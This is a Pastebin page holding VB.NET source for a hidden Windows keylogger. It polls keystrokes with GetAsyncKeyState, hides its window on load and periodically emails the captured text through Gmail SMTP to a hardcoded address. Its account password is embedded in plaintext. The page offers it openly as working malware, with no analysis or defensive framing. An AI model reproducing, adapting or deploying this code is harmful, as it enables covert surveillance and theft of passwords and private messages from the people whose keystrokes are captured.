Guest User

Untitled

a guest
May 9th, 2018
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.11 KB | None | 0 0
  1. Option Strict On
  2. Imports System.Web
  3. Imports System.IO
  4. Imports System.Net.Mail
  5.  
  6. Public Class Form1
  7. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Integer
  8.  
  9. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
  10. Dim result As Integer
  11. Dim key As String
  12. Dim i As Integer
  13. For i = 2 To 90
  14. result = 0
  15. result = GetAsyncKeyState(i)
  16. If result = -32767 Then
  17. key = Chr(i)
  18. If i = 13 Then key = vbNewLine
  19. Exit For
  20. End If
  21. Next i
  22.  
  23. If key <> Nothing Then
  24. If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
  25. tbLog.Text &= key
  26. Else
  27. tbLog.Text &= key.ToLower
  28. End If
  29. End If
  30.  
  31. If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
  32. Me.Show()
  33. End If
  34.  
  35. End Sub
  36. Private Sub timerSave_Tick() Handles timerSave.Tick
  37. Dim mail As New MailMessage()
  38. Dim SmtpServer As New SmtpClient
  39. SmtpServer.Credentials = New Net.NetworkCredential("haxxor1337@gmail.com", "riveba24")
  40. SmtpServer.Port = 587
  41. SmtpServer.Host = "smtp.gmail.com"
  42. SmtpServer.EnableSsl = True
  43. SmtpServer.EnableSsl = True
  44. mail.To.Add("haxxor1337@gmail.com")
  45. mail.From = New MailAddress("haxxor1337@gmail.com")
  46. mail.Subject = "KeyLogger"
  47. mail.Body = tbLog.Text
  48. SmtpServer.Send(mail)
  49.  
  50. tbLog.Clear()
  51. End Sub
  52.  
  53. Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
  54. tbLog.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
  55. timerSave_Tick()
  56. End Sub
  57.  
  58.  
  59. Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
  60. Me.Visible = False
  61. tbLog.Text = "Started at: " & Now & vbNewLine
  62.  
  63. End Sub
  64. End Class
Add Comment
Please, Sign In to add comment